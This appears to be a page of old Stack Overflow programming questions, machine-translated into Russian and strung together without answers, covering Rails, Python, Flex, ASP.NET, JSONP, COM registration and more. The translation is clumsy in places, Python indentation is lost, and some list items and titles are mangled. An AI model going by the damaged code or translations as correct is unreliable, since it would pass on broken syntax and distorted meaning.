Я уже давно увлекаюсь программированием, интересуюсь разработкой веб-приложений. У меня есть изрядный личный опыт работы с различными не-веб-языками, но никогда по-настоящему не разветвлялся на веб-приложения.
Обычно у меня нет никаких проблем с изучением новых языков или технологий, поэтому я не беспокоюсь о том, с каким языком "best" или веб-стеком нужно работать. Вместо этого я хотел бы знать о любых рекомендуемых ресурсах (книгах, статьях, веб-сайтах, возможно, даже курсах колледжа), которые обсуждают дизайн веб-приложений: управление и оптимизация взаимодействия с сервером, проблемы безопасности, масштабируемость и другие темы, которые относятся к разработке, а не реализации.
Что бы вы порекомендовали разработчику автономного приложения, который хочет перейти на веб-разработку?
Как Вы Защищаете database.yml?
В пределах Ruby на Rails приложения database.yml представляет собой обычный текстовый файл, который хранит учетные данные базы данных.
Когда я развертываю свои приложения Rails, у меня есть обратный вызов после развертывания в моем Capistrano рецепт, который создает символическую ссылку в каталоге приложения /config на файл database.yml. Сам файл хранится в отдельном каталоге, который находится вне стандартной структуры каталогов Capistrano /releases. Я chmod 400 файл, так что он читается только пользователем, который его создал.
- Достаточно ли этого, чтобы заблокировать его? А если нет, то чем еще вы занимаетесь?
- Кто-нибудь шифрует свои файлы database.yml?
Элегантный способ удаления элементов из последовательности в Python?
Когда я пишу код в Python, мне часто нужно удалить элементы из списка или другого типа последовательности на основе некоторых критериев. Я не нашел решения, которое было бы элегантным и эффективным, так как удаление элементов из списка, который вы сейчас просматриваете, плохо. Например, вы не можете этого сделать:
for name in names:
if name[-5:] == 'Smith':
names.remove(name)
Я обычно заканчиваю тем, что делаю что-то вроде этого:
toremove = []
for name in names:
if name[-5:] == 'Smith':
toremove.append(name)
for name in toremove:
names.remove(name)
del toremove
Это неэффективно, довольно уродливо и, возможно, глючно (как он обрабатывает несколько записей 'John Smith'?). Есть ли у кого-нибудь более элегантное решение или, по крайней мере, более эффективное?
Как насчет того, что работает со словарями?
Как получить метку Combobox, чтобы исчезнуть в Flex
У меня есть комбо-бокс, который сидит внутри панели в Flex 3. В основном я хочу, чтобы исчезла панель, используя эффект затухания в ActionScript. Я могу заставить fade работать нормально, однако метка комбо-бокса не исчезает. У меня была такая же проблема с кнопками и обнаружил, что их шрифты должны быть встроены. Не проблема. Я встроил шрифт, который я использовал, и метки кнопок исчезли правильно. Я пробовал аналогичный подход к комбинированному окну, но он не исчезает с выбранной метки элемента.
Вот что я сделал до сих пор: Добавьте код для шрифта в верхней части моего MXML в сценарий:
[Embed("assets/trebuc.ttf", fontName="TrebuchetMS")]
public var trebuchetMSFont:Class;
В моей функции инициализации
//register the font.
Font.registerFont(trebuchetMSFont);
combobox-е mxml:
<mx:ComboBox id="FilterFields" styleName="FilterDropdown"
left="10" right="10" top="10"
fontSize="14">
<mx:itemRenderer>
<mx:Component>
<mx:Label fontSize="10" />
</mx:Component>
</mx:itemRenderer>
</mx:ComboBox>
И стиль, который я написал, чтобы получить шрифты, примененные к комбинированному окну:
.FilterDropdown
{
embedFonts: true;
fontFamily: TrebuchetMS;
fontWeight: normal;
fontSize: 12;
}
Причина, по которой я должен был написать стиль вместо размещения его в атрибуте "FontFamily", заключалась в том, что стиль сделал весь текст в поле со списком правильным шрифтом, где атрибут "FontFamily" только заставил элементы в раскрывающемся списке использовать правильный шрифт.
Шифрование в веб-сервисах C#
Я ищу простой способ зашифровать мое сообщение soap в моем веб-сервисе C#.
Я искал WSE 3.0 , но, похоже, Microsoft отказалась от его поддержки, и поэтому его не так просто использовать.
Похоже, что WCF мог бы быть вариантом, но я предпочитаю не обновляться с .NET 2.0 .
Какой-нибудь простой и понятный метод шифрования?
Работа с PHP сервером и MySQL сервером в разных часовых поясах
Для тех из нас, кто использует стандартные пакеты общего хостинга, такие как GoDaddy или сетевые решения, как вы обрабатываете конверсии datetime, когда ваш хостинг-сервер (PHP) и MySQL сервер находятся в разных часовых поясах?
Кроме того, есть ли у кого-нибудь рекомендации по определению часового пояса, в котором находится посетитель вашего сайта, и соответствующим образом манипулирует переменной datetime?
Готов ли Mono к прайм-тайму?
Кто-нибудь использовал Mono, реализацию с открытым исходным кодом .NET в крупном или среднем проекте? Мне интересно, готова ли она к реальному миру, к производственной среде. Является ли он стабильным, быстрым, совместимым, ... достаточно, чтобы использовать? Требуется ли много усилий для переноса проектов в среду выполнения Mono, или это действительно достаточно совместимо, чтобы просто взять и запустить уже написанный код для среды выполнения Microsoft?
Рекомендуется авторизовать всех пользователей только на одной странице
Каков наилучший способ авторизации всех пользователей на одной странице на веб-сайте asp.net.
За исключением страницы входа и еще одной страницы, я запрещаю всем пользователям просматривать страницы на веб-сайте.
Как сделать эту страницу доступной для всех пользователей?
Преобразование списка в список
У меня есть список целых чисел, List<Integer> , и я хотел бы преобразовать все целочисленные объекты в строки, таким образом, закончив с новым List<String> .
Естественно, я мог бы создать новый List<String> и пройтись по списку, вызывая String.valueOf() для каждого целого числа, но мне было интересно, есть ли лучший (читай: более автоматический ) способ сделать это?
ярлык для создания карты из списка в groovy?
Я бы хотел немного сортанд для этого:
Map rowToMap(row) {
def rowMap = [:];
row.columns.each{ rowMap[it.name] = it.val }
return rowMap;
}
учитывая то, как обстоят дела с GDK, я бы ожидал, что смогу сделать что - то вроде:
Map rowToMap(row) {
row.columns.collectMap{ [it.name,it.val] }
}
но я ничего не видел в документах... я что-то упустил? или я просто слишком ленив?
Это плохая идея, чтобы выставить иерархию наследования в структуре пространства имен?
У меня есть группа взаимосвязанных классов, которые все переопределены вместе, чтобы создать конкретную реализацию. Мне интересно, если это хорошая идея, чтобы заключить взаимосвязанные подклассы в пространстве имен.
Для примера рассмотрим следующие пространства имен и классы:
namespace Protocol
{
public abstract class Message { }
public abstract class Driver { }
}
namespace Protocol.Tcp
{
public class TcpMessage : Message { }
public class TcpDriver : Driver { }
}
namespace Protocol.Ftp
{
public class FtpMessage : Message { }
public class FtpDriver : Driver { }
}
Каков наилучший способ структурировать пространства имен? Кажется неизбежным выставлять наследование в пространстве имен, поскольку базовые классы на самом деле не принадлежат ни к пространству имен Protocol.Tcp, ни к пространству имен Protocol.Ftp.
Как отслеживать текстовый файл в реальном времени
Для отладки в несколько закрытой системе мне приходится выводить текст в файл.
Кто-нибудь знает инструмент, работающий на windows (консольный или нет), который обнаруживает изменения в файле и выводит их в режиме реального времени?
Быстрый простой способ перенести SQLite3 в MySQL?
Кто-нибудь знает быстрый и простой способ переноса базы данных SQLite3 в MySQL?
GUI Automation testing - вопросы обработки окон
Наша компания в настоящее время пишет инструмент автоматизации тестирования GUI для компактных рамочных приложений. Мы изначально искали много инструментов, но ни один из них не был подходящим для нас.
С помощью этого инструмента вы можете записывать тестовые случаи и группировать их вместе в наборы тестов. Для каждого тестового набора генерируется приложение, которое запускает application-under-test и имитирует ввод данных пользователем.
В целом инструмент работает нормально, но поскольку мы используем дескрипторы окон для моделирования пользовательского ввода, вы не можете сделать очень много вещей. Например, мы не можем получить имя элемента управления (мы просто получаем заголовок).
Еще одна проблема, связанная с использованием дескрипторов окон, - это проверка наличия изменений. В данный момент мы имитируем щелчок по элементу управления и в зависимости от результата узнаем, перешло ли приложение на следующий шаг.
Есть ли другой (более простой) способ делать такие вещи (например, очередь сообщений или что-то еще)?
Как предотвратить блокировку сервера после сеанса удаленного рабочего стола
В рамках нашего databuild запустите стороннюю программу (3D Studio Max) для экспорта ряда активов. К сожалению, если пользователь в данный момент не вошел в систему или машина заблокирована, то Max работает неправильно.
Это можно решить для недавно загруженных машин, используя такой метод, как TweakUI для автоматического входа в систему. Однако когда пользователь подключается через удаленный рабочий стол (чтобы инициировать незапланированную сборку, изменить настройку, что угодно), то после завершения сеанса машина остается в заблокированном состоянии с максимальным невозможным запуском.
Я ищу способ настроить windows (с помощью честных средств или фола), чтобы он либо не блокировался, когда удаленный сеанс заканчивается, либо сам "unlocks" вскоре после этого. Я знаю о методе под XP, где вы можете запустить batchfile на машине, которая запускает удаленного пользователя, но это не работает на сервере Windows.
Asp.net MVC User Control ViewData
Когда контроллер отображает представление на основе модели, вы можете получить свойства из коллекции ViewData с помощью индексатора (т. е. ViewData["Property"]). Однако у меня есть общий пользовательский элемент управления, который я попытался вызвать, используя следующее:
return View("Message", new { DisplayMessage = "This is a test" });
и на моем пульте управления сообщениями у меня было это:
<%= ViewData["DisplayMessage"] %>
Я думаю, что это будет правильно отображать DisplayMessage, однако null возвращается. После большой дозы возни вокруг, я, наконец, создал класс "MessageData" для того, чтобы строго ввести свой пользовательский элемент управления:
public class MessageControl : ViewUserControl<MessageData>
и теперь этот звонок работает:
return View("Message", new MessageData() { DisplayMessage = "This is a test" });
и может отображаться следующим образом:
<%= ViewData.Model.DisplayMessage %>
Почему бы не добавить свойство DisplayMessage к свойству ViewData (т. е. ViewData["DisplayMessage"]) сбор без сильного ввода пользовательского элемента управления? Это что, специально придумано? Разве не логично, что ViewData будет содержать ключ для "DisplayMessage"?
Как проверить соответствие набора файлов схеме именования
У меня есть куча файлов (TV эпизодов, хотя это довольно произвольно), которые я хочу проверить, соответствуют определенной схеме именования/организации..
В настоящее время: у меня есть три массива regex, один для допустимых имен файлов, один для файлов, в которых отсутствует имя эпизода, и один для допустимых путей.
Тогда я петли хоть каждый действительный-именем regex, если они совпадают, то добавить его "valid" дикт, если не, сделать тоже самое с missing-ep-name regexs, если он соответствует этому нужно присоединить к "invalid" дикт с кодом ошибки (2:'отсутствует epsiode имя'), если он не соответствует, он будет добавлен к недействительным с 'malformed name' код ошибки.
Текущий код можно найти здесь
Я хочу добавить правило, которое проверяет наличие файла folder.jpg в каждом каталоге, но добавление этого сделает код значительно более беспорядочным в его текущем состоянии..
Как я могу написать эту систему более расширяемым способом?
Правила, которые он должен проверить, были бы..
- Файл имеет формат
Show Name - [01x23] - Episode Name.aviилиShow Name - [01xSpecial02] - Special Name.aviилиShow Name - [01xExtra01] - Extra Name.avi - Если имя файла имеет формат
Show Name - [01x23].avi, отобразите его в разделе вывода " отсутствующее имя эпизода - Путь должен быть в формате
Show Name/season 2/the_file.avi(где сезон 2 должен быть правильным номером сезона в имени файла) - каждая папка
Show Name/season 1/должна содержать "folder.jpg"
есть идеи? Пока я пытаюсь проверить эпизоды TV, эта концепция / код должен быть применим ко многим вещам..
Единственной мыслью у меня был список диктов в формате:
checker = [
{
'name':'valid files',
'type':'file',
'function':check_valid(), # runs check_valid() on all files
'status':0 # if it returns True, this is the status the file gets
}
Выражение Против Утверждения
Я спрашиваю относительно c#,, но предполагаю, что это то же самое в большинстве других языков.
Есть ли у кого-нибудь хорошее определение выражений и утверждений и каковы различия?
Построить базовый итератор Python
Как можно было бы создать итеративную функцию (или объект итератора) в python?
Есть ли причины не использовать JSONP для AJA~X запросов?
Если вы создаете приложение AJA~Xy , есть ли какие-либо недостатки в использовании запросов/ответов JSONP , даже если вы не планируете использовать запросы cross-domain ?
Единственное, что я могу придумать, это то, что есть пара дополнительных байтов для оболочки обратного вызова...
Редактировать:
Я нашел это , что также предполагает security and error handling в качестве потенциальных проблем...
Там нет обработки ошибок.
script injectionлибо работает, либо нет. Если есть ошибка изinjection, она попадет на страницу, и за исключением обработчика ошибок с широким окном (плохо, плохо, очень плохо), вам нужно убедиться, что возвращаемое значение действительно наserver side.
Я не думаю, что error handling -это большая проблема... большинство из нас будет использовать библиотеку для создания JSON ... правильность моего ответа не является проблемой для этого вопроса.
и безопасность:
В интернете есть документы, которые могут помочь, но в качестве беглой проверки я бы проверил реферер в скрипте
server side.
похоже, что это потенциальная проблема с любым типом ответа... конечно, в сфере безопасности нет ничего уникального для JSONP ...?
Проверка подлинности с помощью форм в приложениях
Я работаю над внутренним веб-инструментом для своей компании. Частью этого инструмента является другое приложение (Панель управления круиз-контролем), которое работает в своем собственном виртуальном каталоге под моим корневым приложением.
Я хотел ограничить доступ к этому внутреннему приложению, настроив аутентификацию форм на нем и имея форму входа в корневое приложение.
Я поместил следующее в корневые приложения web.config:
<location path="ccnet">
<system.web>
<authentication mode="Forms">
<forms loginUrl="/default.aspx" timeout="5000"/>
</authentication>
<authorization>
<allow users="?"/>
<deny users="?"/>
</authorization>
</system.web>
</location>
Однако проверка подлинности форм не работает, она не перенаправляется обратно на страницу входа, когда я получаю доступ к этому приложению напрямую.
У меня такое чувство, что у меня есть теги <allow> и <deny>, установленные неправильно. Может кто-нибудь прояснить?
База данных с поддержкой i18n для java web-app
Я хотел бы использовать базу данных для хранения пар ключ / значение i18n, чтобы мы могли изменять / перезагружать данные i18n во время выполнения. Кто-нибудь уже сделал это? Или у кого-нибудь есть идея, как это реализовать? Я прочитал несколько тем на эту тему, но я не видел работоспособного решения.
Я специально ссылаюсь на то, что будет работать с тегами jstl, такими как
<fmt:setlocale>
<fmt:bundle>
<fmt:setBundle>
<fmt:message>
Я думаю, что это будет включать расширение ResourceBundle, но когда я попытался это сделать, я столкнулся с проблемами, которые были связаны с тем, как теги jstl получают ресурс bundle.
Транспонировать/распаковать функцию (обратная zip)?
У меня есть список кортежей из 2 элементов, и я хотел бы преобразовать их в 2 списка, где первый содержит первый элемент в каждом кортеже, а второй список содержит второй элемент.
Например:
original = [('a', 1), ('b', 2), ('c', 3), ('d', 4)]
# and I want to become...
result = (['a', 'b', 'c', 'd'], [1, 2, 3, 4])
Есть ли встроенная функция, которая делает это?
Как управлять настройками конфигурации для каждого разработчика
В проекте .NET предположим, что у вас есть параметр конфигурации, например строка подключения, хранящаяся в файле app.config, который отличается для каждого разработчика в вашей команде (они могут использовать локальный сервер SQL, или конкретный экземпляр сервера, или использовать удаленный сервер и т. д.).
Как вы можете структурировать свое решение так, чтобы каждый разработчик мог иметь свою собственную разработку "preferences" (т. е. не проверено в системе управления версиями), но предоставляет строку подключения по умолчанию, которая проверяется в системе управления версиями (тем самым предоставляя правильные значения по умолчанию для процесса сборки или новых разработчиков).
Edit: может ли метод "
file ", предложенный @Jonathon, каким-то образом использоваться с разделом connectionStrings ?
В любом случае, чтобы остановить Windows приведение приложения к фронту при отображении контекстного меню на значке в трее?
Мы испытываем эту досадную проблему, когда у нас есть контекстное меню на нашем значке в трее, если мы отобразим это контекстное меню, мы должны SetForegroundWindow и вывести его на передний план. Это действительно раздражает и совсем не то, что мы хотим.
Есть ли обходной путь, я замечаю, что Outlook MS Messenger и другие приложения MS не страдают от этого, возможно, они не используют стандартное меню и должны были написать свое собственное ... почему они не выпускают этот код, если у них есть?
В этой статье описывается поведение 'as design': меню для значков уведомлений не работают правильно
Редактировать мы используем C++ / Win32 не формы, поэтому мы используем TrackPopupMenu.
Рекомендации по системе управления контентом
Менеджмент думает об изменении систем управления контентом. Что вы делаете use/recommend?
- Какое решение UCM использует ваша компания?
- Насколько велика ваша компания?
- Вы довольны реализацией?
Текущая настройка:
- Компания, в которой я работаю, использует
Oracle ECM(ранее Stellent UCM). - У нас есть где-то более 10 000 сотрудников по всей Австралии, Новый Зеландия и Индонезия.
- Это работает! Я уже некоторое время работал с этой системой. Я могу видеть где первоначальная реализация пошла не так. Его 3 года спустя и это время переписывать! (Трехлетний зуд?)
Принудительное оформление атрибутов классов / методов
Следуя моему недавнему вопросу о больших, сложных объектах Как результате веб-службы . Я думал о том, как я могу гарантировать, что все будущие дочерние классы сериализуются в XML.
Теперь, очевидно, я мог бы реализовать интерфейс IXmlSerializable , а затем бросить в него читателя / писателя, но я хотел бы избежать этого, поскольку это означает, что мне нужно создавать экземпляр читателя/писателя всякий раз, когда я хочу это сделать, и 99.99% времени я буду работать со строкой, поэтому я могу просто написать свой собственный.
Однако, чтобы сериализовать до XML, я просто украшаю класс и его членов Xml? ?? атрибуты ( XmlRoot , XmlElement и др.) и затем передать его в XmlSerializer и StringWriter , чтобы получить строку. И это все хорошо. Я намерен поместить метод для возврата строки в общий метод утилиты, поэтому мне не нужно беспокоиться о типе и т. д.
То, что меня беспокоит, заключается в следующем: если я не украшаю класс(ы) необходимыми атрибутами, ошибка не возникает до времени выполнения.
Есть ли способ применить украшение атрибута? Можно ли это сделать с помощью FxCop? (Я еще не использовал FxCop)
UPDATE:
Извините за задержку в получении этого закрыть ребята, много дел!
Определенно нравится идея использовать отражение, чтобы сделать это в тестовом случае, а не прибегать к FxCop (например, чтобы держать все вместе).. Ответ Фредрика Калсета был фантастическим, спасибо за включение кода, поскольку мне, вероятно, потребовалось бы немного копать, чтобы понять, как это сделать самому!
+1 к другим ребятам за аналогичные предложения :)
Проверьте права доступа к файлам
Как я могу проверить file permissions, не имея необходимости запускать конкретную команду операционной системы через passthru() или exec() ?
Используете ли вы виртуализированные рабочие столы для устаревших / редко используемых приложений?
Я задавался вопросом, использует ли кто-нибудь virtualized desktop PCs (работает WinXP Pro или старше), чтобы иметь некоторые старые приложения, которые редко используются для некоторых текущих задач.
Скажем, у вас есть действительно старый проект, который время от времени нуждается в обновлении документа в системе базы данных или что-то в этом роде. Приложение базы данных выполняется на виртуализированном рабочем столе, который запускается только при необходимости.
Я думаю, что мы могли бы сэкономить энергию, оборудование и пространство, если бы мы виртуализировали некоторые из этих старых ящиков. Какие-нибудь установки в вашей компании?
редактирование лицензирования может вызвать беспокойство, но я предполагаю, что у вас есть действующая лицензия для старого рабочего стола. Возможно, лицензия недействительна в среде VM, я бы определенно проверил это раньше.
Конечно, если приложение критикует производительность, виртуализация может повредить. Но я думаю о каком-то устаревшем приложении, которое все еще используется для выполнения, скажем, расчета каждые 12 недель для определенного customer/service.
Принудительное выполнение вызова требуемой функции
У меня есть класс "Status" в C#,, используемый следующим образом:
Status MyFunction()
{
if(...) // something bad
return new Status(false, "Something went wrong")
else
return new Status(true, "OK");
}
Вы поняли идею. Все абоненты MyFunction должны проверить возвращенный статус:
Status myStatus = MyFunction();
if ( ! myStatus.IsOK() )
// handle it, show a message,...
Ленивые абоненты, однако, могут игнорировать статус.
MyFunction(); // call function and ignore returned Status
или
{
Status myStatus = MyFunction();
} // lose all references to myStatus, without calling IsOK() on it
Можно ли сделать это невозможным? например, исключение броска
В общем : можно ли написать класс C#, на котором вы должны вызвать определенную функцию?
В версии C++ класса Status я могу написать тест на некотором частном bool bIsChecked в деструкторе и позвонить в некоторые колокола, когда кто-то не проверяет этот экземпляр.
Что такое эквивалентный вариант в C#? Я где-то читал, что " вам не нужен деструктор в вашем классе C#"
Является ли метод Dispose интерфейса IDisposable опцией?
В этом случае нет неуправляемых ресурсов для освобождения. Кроме того, не определено, когда GC будет утилизировать объект. Когда он в конечном итоге будет удален, все еще можно узнать, где и когда вы проигнорировали этот конкретный экземпляр состояния? Ключевое слово "using" действительно помогает, Но опять же, оно не требуется для ленивых абонентов.
Загрузка раздела конфигурации System.ServiceModel с помощью ConfigurationManager
Используя C# .NET 3.5 и WCF, я пытаюсь записать некоторые конфигурации WCF в клиентском приложении (имя сервера, к которому подключается клиент).
Очевидный способ-использовать ConfigurationManager для загрузки раздела конфигурации и записи необходимых мне данных.
var serviceModelSection = ConfigurationManager.GetSection("system.serviceModel");
Кажется, что всегда возвращается null.
var serviceModelSection = ConfigurationManager.GetSection("appSettings");
Работать отлично.
Раздел конфигурации присутствует в App.config, но по какой-то причине ConfigurationManager отказывается загружать раздел system.ServiceModel .
Я хочу избежать ручной загрузки файла xxx.exe.config и использования XPath, но если мне придется прибегнуть к этому, я сделаю это. Просто кажется, что это немного халтура.
Есть какие-нибудь предложения?
Представляем Python
Компания, с которой я работал, имеет двух разработчиков, работающих полный рабочий день, и несколько фрилансеров. Они находятся в процессе найма нового ведущего разработчика, чтобы попытаться навести порядок и управление в разработке.
Но в настоящее время один из разработчиков увидел свет Django (на сегодняшний день компания разработала только PHP), в то время как другой разработчик обеспокоен тем, что введение нового языка (Python) является плохой идеей прямо сейчас.
Как они должны подходить к внедрению этой новой технологии? Очевидно, что только один из разработчиков действительно знает Python, не будет никакой избыточности, когда этот разработчик уйдет или покинет компанию.
Должны ли они беспокоиться о том, чтобы ввести Python, или они должны искать решения только для PHP до тех пор, пока у команды на самом деле не будет более одного Pythonion? Без лидера команды, решения должны падать на них.
Как найти реализацию интерфейса C# в текущей assembly с определенным именем?
У меня есть интерфейс под названием IStep , который может выполнять некоторые вычисления (см. " Выполнение в Царстве существительных "). Во время выполнения я хочу выбрать соответствующую реализацию по имени класса.
// use like this: IStep step = GetStep(sName);
Как я могу отменить регистрацию COM DLL, изначально добавленных с RegSvr32, когда /u arg не работает?
Правильно, изначально бежал:
c:\regsvr32 Amazing.dll
затем (случайно-я мог бы добавить) я должен был запустить его снова, и (действительно) снова, когда были выпущены новые версии 'Amazing.dll'. Да , теперь я знаю, что должен был бежать.:
c:\regsvr32 /u Amazing.dll
заранее-но эй! А я и забыл.
Чтобы перейти к сути дела, когда я добавляю ссылку COM в VS, я вижу 3 экземпляра 'Amazing', все они указывают на одно и то же место (c:\Amazing.dll), запуск regsvr32 /u удаляет одну из ссылок, во второй раз - ничего не делает...
Как мне избавиться от этих ссылок? Я смотрю на сценарий regedit? - Если да - что именно произойдет, если я удалю один из ключей???
Овации
Существует ли система отслеживания ошибок/проблем, которая интегрируется с Mercurial?
Я уже использовал Trac / Subversion раньше, и мне очень нравится интеграция. Мой текущий проект использует Mercurial для распределенной разработки, и было бы неплохо иметь возможность отслеживать проблемы/ошибки и интегрировать это с Mercurial. Я понял, что это может быть сложно с природой DVCS.
Как я могу перенаправить пользователя на настраиваемую страницу 404 в ASP.NET MVC вместо того, чтобы бросать исключение?
Я хочу иметь возможность захватить исключение, которое возникает, когда пользователь запрашивает несуществующий контроллер, и перенаправить его на страницу 404. Как я могу это сделать?
Например, пользователь запрашивает http://www.nosite.com/paeges/1 ( должно быть /pages/). Как мне сделать так, чтобы они были перенаправлены на экран 404, а не на экран исключений?
Алгоритм для выполнения вычисления RFC в Java
RFC для класса Java-это набор всех методов, которые могут быть вызваны в ответ на сообщение объекту класса или каким-либо методом в классе. RFC = M + R, где M = количество методов в классе. R = общее число других методов, непосредственно вызываемых из M.
Мышление C-это то .класс и J-это то .java файл, из которого нам нужно вычислить RFC.
class J{
a(){}
b(){}
c(){
e1.e();
e1.f();
e1.g();
}
h(){
i.k();
i.j();
}
m(){}
n(){
i.o();
i.p();
i.p();
i.p();
}
}
здесь M=6 и R=9 (Не беспокойтесь о вызове внутри цикла. Это рассматривается как один вызов)
Вычисление M легко. Загрузите C с помощью загрузчика классов и используйте отражение, чтобы получить количество методов.
Вычисление R не является прямым. Нам нужно подсчитать количество вызовов метода из класса. Только первый уровень.
Для вычисления R я должен использовать regex. Обычно формат будет (вызовы без использования . не учитываются)
[variable_name].[method_name]([zero or more parameters]);
или
[variable_name].[method_name]([zero or more parameters])
без точки с запятой, когда возврат вызова напрямую становится параметром для другого метода. или
[variable_name].[method_name]([zero or more parameters]).method2();
это становится двумя вызовами метода
Какие еще шаблоны вызова метода вы можете придумать? Есть ли другой способ, кроме использования RegEx, который может быть использован для вычисления R.
UPDATE:
@McDowell
похоже, что с помощью BCEL я могу упростить весь процесс. Дай мне попробовать.
Для чего использовать Windows CardSpace?
Я делаю какую-то фанковую аутентификацию (и да, я знаю, open-id потрясающий, но опять же мой open-id не работает прямо сейчас!).
Натыкаясь на Windows CardSpace мне было интересно, использовал ли кто-нибудь это в реальной системе продукта. Если вы использовали его, каковы были плюсы и минусы для вас? И как я могу использовать его в моем open-id?
Будучи как DRY, насколько это возможно в Ruby на Rails приложение
В настоящее время я использую удивительный плагин attachment-fu для приложения Rails, но как начинающий разработчик я никогда не сталкивался с сценарием, подобным тому, в котором я оказался.
По сути, я использую плагин attachment-fu на двух уровнях.
- Это для пользовательских аватаров в классе user.
- Это разрешить вложения файлов ( PDFs и т. д.) В системе обмена сообщениями.
Мой вопрос заключается в том , какой наилучшей практикой использования было бы в этих ситуациях оставаться DRY , ясным и последовательным.
Очевидно, что нет смысла определять и выполнять плагин в обоих классах, но есть что-то очень странное для меня (возможно, необоснованное) о том, чтобы просто идти вперед и настраивать все это в классе божественного приложения.
Есть ли что-то между ними, или родительский класс-это путь?
Спасибо!
Mac iWork / Автоматизация Страниц
Существует богатая модель сценариев для Microsoft Office, но не так с Apple iWork, и в частности страниц текстового процессора. Хотя есть некоторые крючки AppleScript, похоже, что лучший подход-это манипулировать базовыми данными XML.
Это оказывается довольно уродливым, потому что (например) разрывы страниц хранятся в XML. Так, например, у вас есть что-то вроде:
... we hold these truths to be self evident, that </page>
<page>all men are created equal, and are ...
Поэтому, если вы хотите добавить или удалить текст, вам нужно переместить начальные/конечные теги в зависимости от размера текста на странице. Это практически невозможно без вычисления количества слов, которое может содержать страница, что кажется дико неэлегантным.
У кого-нибудь есть какие-нибудь мысли по этому поводу?
Как лучше всего распределить инструменты командной строки python?
Мой текущий скрипт setup.py работает нормально, но он устанавливает tvnamer.py (инструмент) как tvnamer.py в пакеты сайта или что-то подобное..
Можно ли сделать setup.py install tvnamer.py как tvnamer и / или есть ли лучший способ установки приложений командной строки?
Рекомендации по синтаксическому анализу AS3 XML
У меня были некоторые проблемы с разбором различных типов XML внутри flash (в частности, FeedBurner RSS файлов и YouTube Data API ответов). Я использую URLLoader для загрузки файла XML, а после Event.COMPLETE создаю новый объект XML. 75% время от времени это работает нормально, и время от времени я получаю этот тип исключения:
TypeError: Error #1085: The element type "link" must be terminated by the matching end-tag "</link>".
Мы думаем, что проблема заключается в том, что XML является большим, и, возможно, событие Event.COMPLETE запускается до того, как XML фактически загружается с URLLoader . Единственное решение, которое мы придумали, - это установить таймер на событие, и по существу "wait a few seconds", прежде чем начать анализировать данные. Конечно, это не может быть лучшим способом сделать это.
Есть ли какой-нибудь верный способ разобрать XML внутри Flash?
Update Sept 2 2008 мы пришли к следующему выводу, что в этот момент в коде срабатывает исключение:
data = new XML(mainXMLLoader.data);
// calculate the total number of entries.
for each (var i in data.channel.item){
_totalEntries++;
}
Я разместил оператор try/catch вокруг этой части и в настоящее время отображаю сообщение об ошибке на экране, когда это происходит. Мой вопрос заключается в том, как неполный файл дойдет до этой точки, если bytesLoaded == bytesTotal ?
Я обновил исходный вопрос с отчетом о состоянии; я предполагаю, что другой вопрос может быть в том, есть ли способ определить, правильно ли проанализирован объект XML перед обращением к данным (в случае ошибки, если мой цикл подсчета количества объектов начинается до того, как XML фактически анализируется в объект)?
@Theo: Спасибо за подсказку ignoreWhitespace. Кроме того, мы определили, что событие вызывается до его готовности (мы провели несколько тестов трассировки mainXMLLoader.bytesLoaded + "/" + mainXMLLoader.bytesLoaded
Есть ли рекомендации для легких .net Win форм HTML элементов управления рендерером?
Пытаясь избежать управления .net WebBrowser (мне не нужно переходить к url, печатать визуализированные html или любые другие встроенные лакомства). Обертывание IE dll кажется немного тяжеловесным.
Мне просто нужно что - то, что может отображать основной html помеченный текст-эквивалент html RichTextBox в действительности. У кого-нибудь есть опыт / рекомендации / военные истории?
Использование ocx в консольном приложении
Я хочу быстро протестировать ocx. Как мне удалить этот ocx в консольном приложении. Я нашел несколько учебных пособий в CodeProject, но они неполные.
Решение deployment, CM, InstallShield
Люди,
У нас есть 4 или 5 утилит, которые работают в сочетании с нашим приложением. Эти утилиты представляют собой либо .bat файлов, либо VB приложения, PowerBuilder и т. д. Я пытаюсь управлять этими utils в системе управления версиями и пытаюсь найти лучший способ назначить им версии. Прямо сейчас разработчики используют метаданные системы управления версиями-в частности, метку-для хранения номера версии инструмента.
Моя цель состоит в том, чтобы иметь индивидуальные пакеты InstallShield для каждой утилиты, а также простые средства для управления и назначения номеров версий этим пакетам.
Вы бы рекомендовали отдельный файл .ini с информацией, или хранить информацию в самом файле InstallShield .ism, или просто использовать информацию о метаданных из средства управления версиями?
UPDATE :
Мне нравится эта идея, Орион. Но у меня есть одна забота. Скрипт, увеличивающий номер версии... он не может быть достаточно умен, чтобы увеличить основное число и т. д. право. напр. если один из utils имеет версию 1.2.3, и мы находимся в точке, где новая версия является 2.0.0. Сценарий может быть не в состоянии справиться с этим.
Я думаю, что это во многом связано с нашими методами ветвления-у нас их нет. Люди думали, что раз уж утили такие маленькие, то источник может и не нуждаться в ответвлениях.
511   3   20:27, 4th August, 2020
PowerShell App.Config
Кто-нибудь придумал, как заставить PowerShell использовать app.config файлов? У меня есть пара .NET DLL, которые я хотел бы использовать в одном из своих сценариев, но они ожидают, что их собственные разделы конфигурации будут присутствовать в app.config / web.config .
Разве AnkhSVN годится?
Я спросил пару коллег о AnkhSVN , и ни один из них не был доволен этим. Один из них зашел так далеко, что сказал, что AnkhSVN несколько раз испортил свой девенв.
Каков ваш опыт работы с AnkhSVN? Мне очень не хватает встроенного инструмента управления версиями IDE.
Запретить проглатывание исключений элементом управления WebBrowser
Я использую System.Windows.Forms.WebBrowser, чтобы сделать представление a-la начальной страницы Visual Studio. Однако, похоже, что элемент управления ловит и обрабатывает все исключения, молча погружая их! Не нужно говорить, что это очень неудачное поведение.
void webBrowserNavigating(object sender, WebBrowserNavigatingEventArgs e)
{
// WebBrowser.Navigating event handler
throw new Exception("OMG!");
}
Приведенный выше код отменит навигацию и проглотит исключение.
void webBrowserNavigating(object sender, WebBrowserNavigatingEventArgs e)
{
// WebBrowser.Navigating event handler
try
{
e.Cancel = true;
if (actions.ContainsKey(e.Url.ToString()))
{
actions[e.Url.ToString()].Invoke(e.Url, webBrowser.Document);
}
}
catch (Exception exception)
{
MessageBox.Show(exception.ToString());
}
}
Итак, то, что я делаю (выше), - это поймать все исключения и открыть окно, это лучше, чем молча терпеть неудачу, но все же явно далек от идеала. Я бы хотел, чтобы он перенаправлял исключение через обычный путь сбоя приложения, чтобы оно в конечном итоге становилось необработанным или обрабатывалось приложением из корня.
Есть ли способ сказать элементу управления WebBrowser , чтобы остановить потопление исключений и просто переслать их естественным и ожидаемым способом? Или есть какой-то хакерский способ бросить исключение через родные границы?
Лучший модуль мониторинга трафика / производительности / использования?
